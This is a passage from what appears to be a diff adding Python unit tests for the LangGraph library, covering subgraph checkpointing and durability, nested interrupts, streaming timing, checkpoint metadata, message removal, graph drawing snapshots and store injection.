graph.compile(checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": "2"}} + assert [ + c + for c in app.stream( + {"my_key": ""}, config, subgraphs=True, durability=durability + ) + ] == [ + (("inner",), {"inner_1": {"my_key": " got here", "my_other_key": ""}}), + (("inner",), {"inner_2": {"my_key": " and there"}}), + ((), {"inner": {"my_key": " got here and there"}}), + ( + ("inner",), + { + "inner_1": { + "my_key": " got here", + "my_other_key": " got here and there got here and there", + } + }, + ), + (("inner",), {"inner_2": {"my_key": " and there"}}), + ( + (), + { + "inner": { + "my_key": " got here and there got here and there got here and there" + } + }, + ), + ] + + checkpoints = list(app.get_state_history(config)) + if durability != "exit": + assert len(checkpoints) == 4 + else: + assert len(checkpoints) == 1 + + +def test_subgraph_durability_inherited(durability: Durability) -> None: + sync_checkpointer = InMemorySaver() + + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + def inner_1(state: InnerState): + return {"my_key": " got here", "my_other_key": state["my_key"]} + + def inner_2(state: InnerState): + return {"my_key": " and there"} + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: str + + inner_app = inner.compile(checkpointer=sync_checkpointer) + graph = StateGraph(State) + graph.add_node("inner", inner_app) + graph.add_edge(START, "inner") + graph.add_conditional_edges( + "inner", lambda s: "inner" if s["my_key"].count("there") < 2 else END + ) + app = graph.compile(checkpointer=sync_checkpointer) + thread_id = str(uuid.uuid4()) + config = {"configurable": {"thread_id": thread_id}} + app.invoke({"my_key": ""}, config, subgraphs=True, durability=durability) + if durability != "exit": + checkpoints = list(sync_checkpointer.list(config)) + assert len(checkpoints) == 12 + else: + checkpoints = list(sync_checkpointer.list(config)) + assert len(checkpoints) == 1 + + +def test_subgraph_checkpoint_true_interrupt( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + # Define subgraph + class SubgraphState(TypedDict): + # note that none of these keys are shared with the parent graph state + bar: str + baz: str + + def subgraph_node_1(state: SubgraphState): + baz_value = interrupt("Provide baz value") + return {"baz": baz_value} + + def subgraph_node_2(state: SubgraphState): + return {"bar": state["bar"] + state["baz"]} + + subgraph_builder = StateGraph(SubgraphState) + subgraph_builder.add_node(subgraph_node_1) + subgraph_builder.add_node(subgraph_node_2) + subgraph_builder.add_edge(START, "subgraph_node_1") + subgraph_builder.add_edge("subgraph_node_1", "subgraph_node_2") + subgraph = subgraph_builder.compile(checkpointer=True) + + class ParentState(TypedDict): + foo: str + + def node_1(state: ParentState): + return {"foo": "hi! " + state["foo"]} + + def node_2(state: ParentState): + response = subgraph.invoke({"bar": state["foo"]}) + return {"foo": response["bar"]} + + builder = StateGraph(ParentState) + builder.add_node("node_1", node_1) + builder.add_node("node_2", node_2) + builder.add_edge(START, "node_1") + builder.add_edge("node_1", "node_2") + + graph = builder.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + assert graph.invoke({"foo": "foo"}, config, durability=durability) == { + "foo": "hi! foo", + "__interrupt__": [ + Interrupt( + value="Provide baz value", + id=AnyStr(), + ) + ], + } + assert graph.get_state(config, subgraphs=True).tasks[0].state.values == { + "bar": "hi! foo" + } + assert graph.invoke(Command(resume="baz"), config, durability=durability) == { + "foo": "hi! foobaz" + } + + +def test_stream_subgraphs_during_execution( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + def inner_1(state: InnerState): + return {"my_key": "got here", "my_other_key": state["my_key"]} + + def inner_2(state: InnerState): + time.sleep(0.5) + return { + "my_key": " and there", + "my_other_key": state["my_key"], + } + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: Annotated[str, operator.add] + + def outer_1(state: State): + time.sleep(0.2) + return {"my_key": " and parallel"} + + def outer_2(state: State): + return {"my_key": " and back again"} + + graph = StateGraph(State) + graph.add_node("inner", inner.compile()) + graph.add_node("outer_1", outer_1) + graph.add_node("outer_2", outer_2) + + graph.add_edge(START, "inner") + graph.add_edge(START, "outer_1") + graph.add_edge(["inner", "outer_1"], "outer_2") + graph.add_edge("outer_2", END) + + app = graph.compile(checkpointer=sync_checkpointer) + + start = time.perf_counter() + chunks: list[tuple[float, Any]] = [] + config = {"configurable": {"thread_id": "2"}} + for c in app.stream({"my_key": ""}, config, subgraphs=True): + chunks.append((round(time.perf_counter() - start, 1), c)) + for idx in range(len(chunks)): + elapsed, c = chunks[idx] + chunks[idx] = (round(elapsed - chunks[0][0], 1), c) + + assert chunks == [ + # arrives before "inner" finishes + ( + FloatBetween(0.0, 0.1), + ( + (AnyStr("inner:"),), + {"inner_1": {"my_key": "got here", "my_other_key": ""}}, + ), + ), + (FloatBetween(0.2, 0.3), ((), {"outer_1": {"my_key": " and parallel"}})), + ( + FloatBetween(0.5, 0.8), + ( + (AnyStr("inner:"),), + {"inner_2": {"my_key": " and there", "my_other_key": "got here"}}, + ), + ), + (FloatBetween(0.5, 0.8), ((), {"inner": {"my_key": "got here and there"}})), + (FloatBetween(0.5, 0.8), ((), {"outer_2": {"my_key": " and back again"}})), + ] + + +def test_stream_buffering_single_node(sync_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + my_key: Annotated[str, operator.add] + + def node(state: State, writer: StreamWriter): + writer("Before sleep") + time.sleep(0.2) + writer("After sleep") + return {"my_key": "got here"} + + builder = StateGraph(State) + builder.add_node("node", node) + builder.add_edge(START, "node") + builder.add_edge("node", END) + graph = builder.compile(checkpointer=sync_checkpointer) + + start = time.perf_counter() + chunks: list[tuple[float, Any]] = [] + config = {"configurable": {"thread_id": "2"}} + for c in graph.stream({"my_key": ""}, config, stream_mode="custom"): + chunks.append((round(time.perf_counter() - start, 1), c)) + + assert chunks == [ + (FloatBetween(0.0, 0.1), "Before sleep"), + (FloatBetween(0.2, 0.3), "After sleep"), + ] + + +def test_nested_graph_interrupts_parallel( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class InnerState(TypedDict): + my_key: Annotated[str, operator.add] + my_other_key: str + + def inner_1(state: InnerState): + time.sleep(0.1) + return {"my_key": "got here", "my_other_key": state["my_key"]} + + def inner_2(state: InnerState): + return { + "my_key": " and there", + "my_other_key": state["my_key"], + } + + inner = StateGraph(InnerState) + inner.add_node("inner_1", inner_1) + inner.add_node("inner_2", inner_2) + inner.add_edge("inner_1", "inner_2") + inner.set_entry_point("inner_1") + inner.set_finish_point("inner_2") + + class State(TypedDict): + my_key: Annotated[str, operator.add] + + def outer_1(state: State): + return {"my_key": " and parallel"} + + def outer_2(state: State): + return {"my_key": " and back again"} + + graph = StateGraph(State) + graph.add_node("inner", inner.compile(interrupt_before=["inner_2"])) + graph.add_node("outer_1", outer_1) + graph.add_node("outer_2", outer_2) + + graph.add_edge(START, "inner") + graph.add_edge(START, "outer_1") + graph.add_edge(["inner", "outer_1"], "outer_2") + graph.set_finish_point("outer_2") + + app = graph.compile(checkpointer=sync_checkpointer) + + # test invoke w/ nested interrupt + config = {"configurable": {"thread_id": "1"}} + assert app.invoke({"my_key": ""}, config, durability=durability) == { + "my_key": " and parallel", + } + + assert app.invoke(None, config, durability=durability) == { + "my_key": "got here and there and parallel and back again", + } + + # below combo of assertions is asserting two things + # - outer_1 finishes before inner interrupts (because we see its output in stream, which only happens after node finishes) + # - the writes of outer are persisted in 1st call and used in 2nd call, ie outer isn't called again (because we dont see outer_1 output again in 2nd stream) + # test stream updates w/ nested interrupt + config = {"configurable": {"thread_id": "2"}} + assert [ + *app.stream({"my_key": ""}, config, subgraphs=True, durability=durability) + ] == [ + # we got to parallel node first + ((), {"outer_1": {"my_key": " and parallel"}}), + ((AnyStr("inner:"),), {"inner_1": {"my_key": "got here", "my_other_key": ""}}), + ((), {"__interrupt__": ()}), + ] + assert [*app.stream(None, config, durability=durability)] == [ + {"outer_1": {"my_key": " and parallel"}, "__metadata__": {"cached": True}}, + {"inner": {"my_key": "got here and there"}}, + {"outer_2": {"my_key": " and back again"}}, + ] + + # test stream values w/ nested interrupt + config = {"configurable": {"thread_id": "3"}} + assert [ + *app.stream( + {"my_key": ""}, + config, + stream_mode="values", + durability=durability, + ) + ] == [ + {"my_key": ""}, + {"my_key": " and parallel"}, + ] + assert [*app.stream(None, config, stream_mode="values", durability=durability)] == [ + {"my_key": ""}, + {"my_key": "got here and there and parallel"}, + {"my_key": "got here and there and parallel and back again"}, + ] + + # test interrupts BEFORE the parallel node + app = graph.compile(checkpointer=sync_checkpointer, interrupt_before=["outer_1"]) + config = {"configurable": {"thread_id": "4"}} + assert [ + *app.stream( + {"my_key": ""}, + config, + stream_mode="values", + durability=durability, + ) + ] == [{"my_key": ""}] + # while we're waiting for the node w/ interrupt inside to finish + assert [*app.stream(None, config, stream_mode="values", durability=durability)] == [ + {"my_key": ""}, + {"my_key": " and parallel"}, + ] + assert [*app.stream(None, config, stream_mode="values", durability=durability)] == [ + {"my_key": ""}, + {"my_key": "got here and there and parallel"}, + {"my_key": "got here and there and parallel and back again"}, + ] + + # test interrupts AFTER the parallel node + app = graph.compile(checkpointer=sync_checkpointer, interrupt_after=["outer_1"]) + config = {"configurable": {"thread_id": "5"}} + assert [ + *app.stream( + {"my_key": ""}, + config, + stream_mode="values", + durability=durability, + ) + ] == [ + {"my_key": ""}, + {"my_key": " and parallel"}, + ] + assert [*app.stream(None, config, stream_mode="values", durability=durability)] == [ + {"my_key": ""}, + {"my_key": "got here and there and parallel"}, + ] + assert [*app.stream(None, config, stream_mode="values", durability=durability)] == [ + {"my_key": "got here and there and parallel"}, + {"my_key": "got here and there and parallel and back again"}, + ] + + +def test_doubly_nested_graph_interrupts( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + class State(TypedDict): + my_key: str + + class ChildState(TypedDict): + my_key: str + + class GrandChildState(TypedDict): + my_key: str + + def grandchild_1(state: ChildState): + return {"my_key": state["my_key"] + " here"} + + def grandchild_2(state: ChildState): + return { + "my_key": state["my_key"] + " and there", + } + + grandchild = StateGraph(GrandChildState) + grandchild.add_node("grandchild_1", grandchild_1) + grandchild.add_node("grandchild_2", grandchild_2) + grandchild.add_edge("grandchild_1", "grandchild_2") + grandchild.set_entry_point("grandchild_1") + grandchild.set_finish_point("grandchild_2") + + child = StateGraph(ChildState) + child.add_node( + "child_1", + grandchild.compile(interrupt_before=["grandchild_2"]), + ) + child.set_entry_point("child_1") + child.set_finish_point("child_1") + + def parent_1(state: State): + return {"my_key": "hi " + state["my_key"]} + + def parent_2(state: State): + return {"my_key": state["my_key"] + " and back again"} + + graph = StateGraph(State) + graph.add_node("parent_1", parent_1) + graph.add_node("child", child.compile()) + graph.add_node("parent_2", parent_2) + graph.set_entry_point("parent_1") + graph.add_edge("parent_1", "child") + graph.add_edge("child", "parent_2") + graph.set_finish_point("parent_2") + + app = graph.compile(checkpointer=sync_checkpointer) + + # test invoke w/ nested interrupt + config = {"configurable": {"thread_id": "1"}} + assert app.invoke({"my_key": "my value"}, config, durability=durability) == { + "my_key": "hi my value", + } + + assert app.invoke(None, config, durability=durability) == { + "my_key": "hi my value here and there and back again", + } + + # test stream updates w/ nested interrupt + nodes: list[str] = [] + config = { + "configurable": {"thread_id": "2", CONFIG_KEY_NODE_FINISHED: nodes.append} + } + assert [*app.stream({"my_key": "my value"}, config, durability=durability)] == [ + {"parent_1": {"my_key": "hi my value"}}, + {"__interrupt__": ()}, + ] + assert nodes == ["parent_1", "grandchild_1"] + assert [*app.stream(None, config, durability=durability)] == [ + {"child": {"my_key": "hi my value here and there"}}, + {"parent_2": {"my_key": "hi my value here and there and back again"}}, + ] + assert nodes == [ + "parent_1", + "grandchild_1", + "grandchild_2", + "child_1", + "child", + "parent_2", + ] + + # test stream values w/ nested interrupt + config = {"configurable": {"thread_id": "3"}} + assert [ + *app.stream( + {"my_key": "my value"}, + config, + stream_mode="values", + durability=durability, + ) + ] == [ + {"my_key": "my value"}, + {"my_key": "hi my value"}, + ] + assert [*app.stream(None, config, stream_mode="values", durability=durability)] == [ + {"my_key": "hi my value"}, + {"my_key": "hi my value here and there"}, + {"my_key": "hi my value here and there and back again"}, + ] + + +def test_repeat_condition(snapshot: SnapshotAssertion) -> None: + class AgentState(TypedDict): + hello: str + + def router(state: AgentState) -> str: + return "hmm" + + workflow = StateGraph(AgentState) + workflow.add_node("Researcher", lambda x: x) + workflow.add_node("Chart Generator", lambda x: x) + workflow.add_node("Call Tool", lambda x: x) + workflow.add_conditional_edges( + "Researcher", + router, + { + "redo": "Researcher", + "continue": "Chart Generator", + "call_tool": "Call Tool", + "end": END, + }, + ) + workflow.add_conditional_edges( + "Chart Generator", + router, + {"continue": "Researcher", "call_tool": "Call Tool", "end": END}, + ) + workflow.add_conditional_edges( + "Call Tool", + # Each agent node updates the 'sender' field + # the tool calling node does not, meaning + # this edge will route back to the original agent + # who invoked the tool + lambda x: x["sender"], + { + "Researcher": "Researcher", + "Chart Generator": "Chart Generator", + }, + ) + workflow.set_entry_point("Researcher") + + app = workflow.compile() + assert app.get_graph().draw_mermaid(with_styles=False) == snapshot + + +def test_checkpoint_metadata(sync_checkpointer: BaseCheckpointSaver) -> None: + """This test verifies that a run's configurable fields are merged with the + previous checkpoint config for each step in the run. + """ + # set up test + from langchain_core.language_models.fake_chat_models import ( + FakeMessagesListChatModel, + ) + from langchain_core.messages import AIMessage, AnyMessage + from langchain_core.prompts import ChatPromptTemplate + from langchain_core.tools import tool + + # graph state + class BaseState(TypedDict): + messages: Annotated[list[AnyMessage], add_messages] + + # initialize graph nodes + @tool() + def search_api(query: str) -> str: + """Searches the API for the query.""" + return f"result for {query}" + + tools = [search_api] + + prompt = ChatPromptTemplate.from_messages( + [ + ("system", "You are a nice assistant."), + ("placeholder", "{messages}"), + ] + ) + + model = FakeMessagesListChatModel( + responses=[ + AIMessage( + content="", + tool_calls=[ + { + "id": "tool_call123", + "name": "search_api", + "args": {"query": "query"}, + }, + ], + ), + AIMessage(content="answer"), + ] + ) + + @traceable(run_type="llm") + def agent(state: BaseState) -> BaseState: + formatted = prompt.invoke(state) + response = model.invoke(formatted) + return {"messages": response, "usage_metadata": {"total_tokens": 123}} + + def should_continue(data: BaseState) -> str: + # Logic to decide whether to continue in the loop or exit + if not data["messages"][-1].tool_calls: + return "exit" + else: + return "continue" + + # define graphs w/ and w/o interrupt + workflow = StateGraph(BaseState) + workflow.add_node("agent", agent) + workflow.add_node("tools", ToolNode(tools)) + workflow.set_entry_point("agent") + workflow.add_conditional_edges( + "agent", should_continue, {"continue": "tools", "exit": END} + ) + workflow.add_edge("tools", "agent") + + # graph w/o interrupt + app = workflow.compile(checkpointer=sync_checkpointer) + + # graph w/ interrupt + app_w_interrupt = workflow.compile( + checkpointer=sync_checkpointer, interrupt_before=["tools"] + ) + + # assertions + + # invoke graph w/o interrupt + assert app.invoke( + {"messages": ["what is weather in sf"]}, + { + "configurable": { + "thread_id": "1", + "test_config_1": "foo", + "test_config_2": "bar", + }, + }, + ) == { + "messages": [ + _AnyIdHumanMessage(content="what is weather in sf"), + _AnyIdAIMessage( + content="", + tool_calls=[ + { + "name": "search_api", + "args": {"query": "query"}, + "id": "tool_call123", + "type": "tool_call", + } + ], + ), + _AnyIdToolMessage( + content="result for query", + name="search_api", + tool_call_id="tool_call123", + ), + _AnyIdAIMessage(content="answer"), + ] + } + + config = {"configurable": {"thread_id": "1"}} + + # assert that checkpoint metadata contains the run's configurable fields + chkpnt_metadata_1 = sync_checkpointer.get_tuple(config).metadata + assert chkpnt_metadata_1["test_config_1"] == "foo" + assert chkpnt_metadata_1["test_config_2"] == "bar" + + # Verify that all checkpoint metadata have the expected keys. This check + # is needed because a run may have an arbitrary number of steps depending + # on how the graph is constructed. + chkpnt_tuples_1 = sync_checkpointer.list(config) + for chkpnt_tuple in chkpnt_tuples_1: + assert chkpnt_tuple.metadata["test_config_1"] == "foo" + assert chkpnt_tuple.metadata["test_config_2"] == "bar" + + # invoke graph, but interrupt before tool call + app_w_interrupt.invoke( + {"messages": ["what is weather in sf"]}, + { + "configurable": { + "thread_id": "2", + "test_config_3": "foo", + "test_config_4": "bar", + }, + }, + ) + + config = {"configurable": {"thread_id": "2"}} + + # assert that checkpoint metadata contains the run's configurable fields + chkpnt_metadata_2 = sync_checkpointer.get_tuple(config).metadata + assert chkpnt_metadata_2["test_config_3"] == "foo" + assert chkpnt_metadata_2["test_config_4"] == "bar" + + # resume graph execution + app_w_interrupt.invoke( + input=None, + config={ + "configurable": { + "thread_id": "2", + "test_config_3": "foo", + "test_config_4": "bar", + } + }, + ) + + # assert that checkpoint metadata contains the run's configurable fields + chkpnt_metadata_3 = sync_checkpointer.get_tuple(config).metadata + assert chkpnt_metadata_3["test_config_3"] == "foo" + assert chkpnt_metadata_3["test_config_4"] == "bar" + + # Verify that all checkpoint metadata have the expected keys. This check + # is needed because a run may have an arbitrary number of steps depending + # on how the graph is constructed. + chkpnt_tuples_2 = sync_checkpointer.list(config) + for chkpnt_tuple in chkpnt_tuples_2: + assert chkpnt_tuple.metadata["test_config_3"] == "foo" + assert chkpnt_tuple.metadata["test_config_4"] == "bar" + + +def test_remove_message_via_state_update( + sync_checkpointer: BaseCheckpointSaver, +) -> None: + from langchain_core.messages import AIMessage, HumanMessage, RemoveMessage + + workflow = StateGraph(state_schema=Annotated[list[AnyMessage], add_messages]) # type: ignore[arg-type] + workflow.add_node( + "chatbot", + lambda state: [ + AIMessage( + content="Hello! How can I help you", + ) + ], + ) + + workflow.set_entry_point("chatbot") + workflow.add_edge("chatbot", END) + + app = workflow.compile(checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "1"}} + output = app.invoke([HumanMessage(content="Hi")], config=config) + app.update_state(config, values=[RemoveMessage(id=output[-1].id)]) + + updated_state = app.get_state(config) + + assert len(updated_state.values) == 1 + assert updated_state.values[-1].content == "Hi" + + app.checkpointer.delete_thread(config["configurable"]["thread_id"]) + + # Verify that the message was removed from the checkpointer + assert app.checkpointer.get_tuple(config) is None + assert [*app.get_state_history(config)] == [] + + +def test_remove_message_from_node(): + from langchain_core.messages import AIMessage, HumanMessage, RemoveMessage + + workflow = StateGraph(state_schema=Annotated[list[AnyMessage], add_messages]) # type: ignore[arg-type] + workflow.add_node( + "chatbot", + lambda state: [ + AIMessage( + content="Hello!", + ), + AIMessage( + content="How can I help you?", + ), + ], + ) + workflow.add_node("delete_messages", lambda state: [RemoveMessage(id=state[-2].id)]) + workflow.set_entry_point("chatbot") + workflow.add_edge("chatbot", "delete_messages") + workflow.add_edge("delete_messages", END) + + app = workflow.compile() + output = app.invoke([HumanMessage(content="Hi")]) + assert len(output) == 2 + assert output[-1].content == "How can I help you?" + + +def test_xray_lance(snapshot: SnapshotAssertion): + from langchain_core.messages import AnyMessage, HumanMessage + + class Analyst(BaseModel): + affiliation: str = Field( + description="Primary affiliation of the investment analyst.", + ) + name: str = Field( + description="Name of the investment analyst.", + pattern=r"^[a-zA-Z0-9_-]{1,64}$", + ) + role: str = Field( + description="Role of the investment analyst in the context of the topic.", + ) + description: str = Field( + description="Description of the investment analyst focus, concerns, and motives.", + ) + + @property + def persona(self) -> str: + return f"Name: {self.name}\nRole: {self.role}\nAffiliation: {self.affiliation}\nDescription: {self.description}\n" + + class Perspectives(BaseModel): + analysts: list[Analyst] = Field( + description="Comprehensive list of investment analysts with their roles and affiliations.", + ) + + class Section(BaseModel): + section_title: str = Field(..., title="Title of the section") + context: str = Field( + ..., title="Provide a clear summary of the focus area that you researched." + ) + findings: str = Field( + ..., + title="Give a clear and detailed overview of your findings based upon the expert interview.", + ) + thesis: str = Field( + ..., + title="Give a clear and specific investment thesis based upon these findings.", + ) + + class InterviewState(TypedDict): + messages: Annotated[list[AnyMessage], add_messages] + analyst: Analyst + section: Section + + class ResearchGraphState(TypedDict): + analysts: list[Analyst] + topic: str + max_analysts: int + sections: list[Section] + interviews: Annotated[list, operator.add] + + # Conditional edge + def route_messages(state): + return "ask_question" + + def generate_question(state): + return ... + + def generate_answer(state): + return ... + + # Add nodes and edges + interview_builder = StateGraph(InterviewState) + interview_builder.add_node("ask_question", generate_question) + interview_builder.add_node("answer_question", generate_answer) + + # Flow + interview_builder.add_edge(START, "ask_question") + interview_builder.add_edge("ask_question", "answer_question") + interview_builder.add_conditional_edges( + "answer_question", route_messages, ["ask_question", END] + ) + + # Interview + interview_graph = interview_builder.compile().with_config( + run_name="Conduct Interviews" + ) + + # View + assert interview_graph.get_graph().to_json() == snapshot + + def run_all_interviews(state: ResearchGraphState): + """Edge to run the interview sub-graph using Send""" + return [ + Send( + "conduct_interview", + { + "analyst": Analyst(), + "messages": [ + HumanMessage( + content="So you said you were writing an article on ...?" + ) + ], + }, + ) + for s in state["analysts"] + ] + + def generate_sections(state: ResearchGraphState): + return ... + + def generate_analysts(state: ResearchGraphState): + return ... + + builder = StateGraph(ResearchGraphState) + builder.add_node("generate_analysts", generate_analysts) + builder.add_node("conduct_interview", interview_builder.compile()) + builder.add_node("generate_sections", generate_sections) + + builder.add_edge(START, "generate_analysts") + builder.add_conditional_edges( + "generate_analysts", run_all_interviews, ["conduct_interview"] + ) + builder.add_edge("conduct_interview", "generate_sections") + builder.add_edge("generate_sections", END) + + graph = builder.compile() + + # View + assert graph.get_graph().to_json() == snapshot + assert graph.get_graph(xray=1).to_json() == snapshot + + +def test_channel_values(sync_checkpointer: BaseCheckpointSaver) -> None: + config = {"configurable": {"thread_id": "1"}} + chain = NodeBuilder().subscribe_only("input").write_to("output") + app = Pregel( + nodes={ + "one": chain, + }, + channels={ + "ephemeral": EphemeralValue(Any), + "input": LastValue(int), + "output": LastValue(int), + }, + input_channels=["input", "ephemeral"], + output_channels="output", + checkpointer=sync_checkpointer, + ) + app.invoke({"input": 1, "ephemeral": "meow"}, config) + assert sync_checkpointer.get(config)["channel_values"] == {"input": 1, "output": 1} + + +def test_xray_issue(snapshot: SnapshotAssertion) -> None: + class State(TypedDict): + messages: Annotated[list, add_messages] + + def node(name): + def _node(state: State): + return {"messages": [("human", f"entered {name} node")]} + + return _node + + parent = StateGraph(State) + child = StateGraph(State) + + child.add_node("c_one", node("c_one")) + child.add_node("c_two", node("c_two")) + + child.add_edge("__start__", "c_one") + child.add_edge("c_two", "c_one") + + child.add_conditional_edges( + "c_one", lambda x: str(randrange(0, 2)), {"0": "c_two", "1": "__end__"} + ) + + parent.add_node("p_one", node("p_one")) + parent.add_node("p_two", child.compile()) + + parent.add_edge("__start__", "p_one") + parent.add_edge("p_two", "p_one") + + parent.add_conditional_edges( + "p_one", lambda x: str(randrange(0, 2)), {"0": "p_two", "1": "__end__"} + ) + + app = parent.compile() + + assert app.get_graph(xray=True).draw_mermaid() == snapshot + + +def test_xray_bool(snapshot: SnapshotAssertion) -> None: + class State(TypedDict): + messages: Annotated[list, add_messages] + + def node(name): + def _node(state: State): + return {"messages": [("human", f"entered {name} node")]} + + return _node + + grand_parent = StateGraph(State) + + child = StateGraph(State) + + child.add_node("c_one", node("c_one")) + child.add_node("c_two", node("c_two")) + + child.add_edge("__start__", "c_one") + child.add_edge("c_two", "c_one") + + child.add_conditional_edges( + "c_one", lambda x: str(randrange(0, 2)), {"0": "c_two", "1": "__end__"} + ) + + parent = StateGraph(State) + parent.add_node("p_one", node("p_one")) + parent.add_node("p_two", child.compile()) + parent.add_edge("__start__", "p_one") + parent.add_edge("p_two", "p_one") + parent.add_conditional_edges( + "p_one", lambda x: str(randrange(0, 2)), {"0": "p_two", "1": "__end__"} + ) + + grand_parent.add_node("gp_one", node("gp_one")) + grand_parent.add_node("gp_two", parent.compile()) + grand_parent.add_edge("__start__", "gp_one") + grand_parent.add_edge("gp_two", "gp_one") + grand_parent.add_conditional_edges( + "gp_one", lambda x: str(randrange(0, 2)), {"0": "gp_two", "1": "__end__"} + ) + + app = grand_parent.compile() + assert app.get_graph(xray=True).draw_mermaid() == snapshot + + +def test_multiple_sinks_subgraphs(snapshot: SnapshotAssertion) -> None: + class State(TypedDict): + messages: Annotated[list, add_messages] + + subgraph_builder = StateGraph(State) + subgraph_builder.add_node("one", lambda x: x) + subgraph_builder.add_node("two", lambda x: x) + subgraph_builder.add_node("three", lambda x: x) + subgraph_builder.add_edge("__start__", "one") + subgraph_builder.add_conditional_edges("one", lambda x: "two", ["two", "three"]) + subgraph = subgraph_builder.compile() + + builder = StateGraph(State) + builder.add_node("uno", lambda x: x) + builder.add_node("dos", lambda x: x) + builder.add_node("subgraph", subgraph) + builder.add_edge("__start__", "uno") + builder.add_conditional_edges("uno", lambda x: "dos", ["dos", "subgraph"]) + + app = builder.compile() + assert app.get_graph(xray=True).draw_mermaid() == snapshot + + +def test_store_injected( + sync_checkpointer: BaseCheckpointSaver, sync_store: BaseStore +) -> None: + class State(TypedDict): + count: Annotated[int, operator.add] + + doc_id = str(uuid.uuid4()) + doc = {"some-key": "this-is-a-val"} + uid = uuid.uuid4().hex + namespace = (f"foo-{uid}", "bar") + thread_1 = str(uuid.uuid4()) + thread_2 = str(uuid.uuid4()) + + class Node: + def __init__(self, i: int | None = None): + self.i = i + + def __call__(self, inputs: State, config: RunnableConfig, store: BaseStore): + assert isinstance(store, BaseStore) + store.put( + ( + namespace + if self.i is not None + and config["configurable"]["thread_id"] in (thread_1, thread_2) + else (f"foo_{self.i}", "bar") + ), + doc_id, + { + **doc, + "from_thread": config["configurable"]["thread_id"], + "some_val": inputs["count"], + }, + ) + return {"count": 1} + + builder = StateGraph(State) + builder.add_node("node", Node()) + builder.add_edge("__start__", "node") + N = 50 + M = 1 + + for i in range(N): + builder.add_node(f"node_{i}", Node(i)) + builder.add_edge("__start__", f"node_{i}") + + graph = builder.compile(store=sync_store, checkpointer=sync_checkpointer) + + results = graph.batch( + [{"count": 0}] * M, + ([{"configurable": {"thread_id": str(uuid.uuid4())}}] * (M - 1)) + + [{"configurable": {"thread_id": thread_1}}], + ) + result = results[-1] + assert result == {"count": N + 1} + returned_doc = sync_store.get(namespace, doc_id).value + assert returned_doc == {**doc, "from_thread": thread_1, "some_val": 0} + assert len(sync_store.search(namespace)) == 1 + # Check results after another turn of the same thread + result = graph.invoke({"count": 0}, {"configurable": {"thread_id": thread_1}}) + assert result == {"count": (N + 1) * 2} + returned_doc = sync_store.get(namespace, doc_id).value + assert returned_doc == {**doc, "from_thread": thread_1, "some_val": N + 1} + assert len(sync_store.search(namespace)) == 1 + + result = graph.invoke({"count": 0}, {"configurable": {"thread_id": thread_2}}) + assert result == {"count": N + 1} + returned_doc = sync_store.get(namespace, doc_id).value + assert returned_doc == { + **doc, + "from_thread": thread_2, + "some_val": 0, + } # Overwrites the whole doc + assert len(sync_store.search(namespace)) == 1 # still overwriting the same one + + +def test_enum_node_names(): + class NodeName(str, enum.Enum): + BAZ = "baz" + + class State(TypedDict): + foo: str + bar: str + + def baz(state: State): + return {"bar": state["foo"] + "!"} + + graph = StateGraph(State) + graph.add_node(NodeName.BAZ, baz) + graph.add_edge(START, NodeName.BAZ) + graph.add_edge(NodeName.BAZ, END) + graph = graph.compile() + + assert graph.invoke({"foo": "hello"}) == {"foo": "hello", "bar": "hello!"} + + +def test_debug_retry(sync_checkpointer: BaseCheckpointSaver): + class State(TypedDict): + messages: Annotated[list[str], operator.add] + + def node(name): + def _node(state: State): + return {"messages": [f"entered {name} node"]} + + return _node + + builder = StateGraph(State) + builder.add_node("one", node("one")) + builder.add_node("two", node("two")) + builder.add_edge(START, "one") + builder.add_edge("one", "two") + builder.add_edge("two", END) + + graph = builder.compile(checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + graph.invoke({"messages": []}, config=config, durability="async") + + # re-run step: 1 + target_config = next( + c.parent_config + for c in sync_checkpointer.list(config) + if c.metadata["step"] == 1 + ) + update_config = graph.update_state(target_config, values=None) + + events = [ + *graph.stream( + None, config=update_config, stream_mode="debug", durability="async" + ) + ] + + checkpoint_events = list( + reversed([e["payload"] for e in events if e["type"] == "checkpoint"]) + ) + + checkpoint_history = { + c.config["configurable"]["checkpoint_id"]: c + for c in graph.get_state_history(config) + } + + def lax_normalize_config(config: dict | None) -> dict | None: + if config is None: + return None + return config["configurable"] + + for stream in checkpoint_events: + stream_conf = lax_normalize_config(stream["config"]) + stream_parent_conf = lax_normalize_config(stream["parent_config"]) + assert stream_conf != stream_parent_conf + + # ensure the streamed checkpoint == checkpoint from checkpointer.list() + history = checkpoint_history[stream["config"]["configurable"]["checkpoint_id"]] + history_conf = lax_normalize_config(history.config) + assert stream_conf == history_conf + + history_parent_conf = lax_normalize_config(history.parent_config) + assert stream_parent_conf == history_parent_conf + + +def test_debug_subgraphs( + sync_checkpointer: BaseCheckpointSaver, durability: Durability +): + class State(TypedDict): + messages: Annotated[list[str], operator.add] + + def node(name): + def _node(state: State): + return {"messages": [f"entered {name} node"]} + + return _node + + parent = StateGraph(State) + child = StateGraph(State) + + child.add_node("c_one", node("c_one")) + child.add_node("c_two", node("c_two")) + child.add_edge(START, "c_one") + child.add_edge("c_one", "c_two") + child.add_edge("c_two", END) + + parent.add_node("p_one", node("p_one")) + parent.add_node("p_two", child.compile()) + parent.add_edge(START, "p_one") + parent.add_edge("p_one", "p_two") + parent.add_edge("p_two", END) + + graph = parent.compile(checkpointer=sync_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + events = [ + *graph.stream( + {"messages": []}, + config=config, + stream_mode="debug", + durability=durability, + ) + ] + + checkpoint_events = list( + reversed([e["payload"] for 